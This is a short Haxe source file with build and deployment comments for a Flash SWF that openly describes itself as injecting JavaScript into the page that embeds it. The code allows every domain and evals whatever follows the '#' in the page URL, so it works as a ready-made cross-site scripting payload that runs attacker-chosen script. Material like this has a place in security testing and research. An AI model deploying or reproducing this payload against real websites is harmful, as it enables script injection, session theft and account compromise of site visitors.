// xss.hx // // Purpose: // This haxe source file builds a SWF which injects JavaScript into the including page. // // To build: // 1. Acquire the latest stable version of haxe from http://haxe.org/download // Note: To run haxe, you may also need Neko (http://nekovm.org/download) // 2. Create a file called xss.hx with these contents. // 3. Create a file called compile.hxml with the following content: // -swf-version 9 // -swf xss.swf // -main xss // 4. From the command line, execute: // haxe compile.hxml // // To activate: // 1. Take xss.swf generated by haxe and deploy it to your webserver. // 2. Embed it into your HTML file with code like the following: // // import flash.external.ExternalInterface; class Xss { public static function main() { flash.system.Security.allowDomain("*"); ExternalInterface.call( [ "(function(){setTimeout(\"", "eval(document.location.hash.slice(1))", "\",0);})" ].join('') ); } }